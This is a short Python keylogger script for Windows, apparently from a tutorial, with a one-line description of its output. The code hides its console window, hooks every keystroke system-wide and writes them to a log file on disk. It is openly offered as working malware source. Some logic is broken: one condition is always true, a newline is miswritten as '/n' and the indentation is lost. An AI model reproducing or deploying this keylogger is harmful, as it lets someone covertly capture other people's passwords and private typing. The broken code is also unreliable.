# Python code for keylogger

# to be used in windows

import win32api

import win32console

import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):

if event.Ascii==5:

exit(1)

if event.Ascii !=0 or 8:

#open output.txt to read current keystrokes

f = open('c:\output.txt', 'r+')

buffer = f.read()

f.close()

# open output.txt to write current + new keystrokes

f = open('c:\output.txt', 'w')

keylogs = chr(event.Ascii)

if event.Ascii == 13:

keylogs = '/n'

buffer += keylogs

f.write(buffer)

f.close()

# create a hook manager object

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

# set the hook

hm.HookKeyboard()

# wait forever

pythoncom.PumpMessages()

Output:

The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.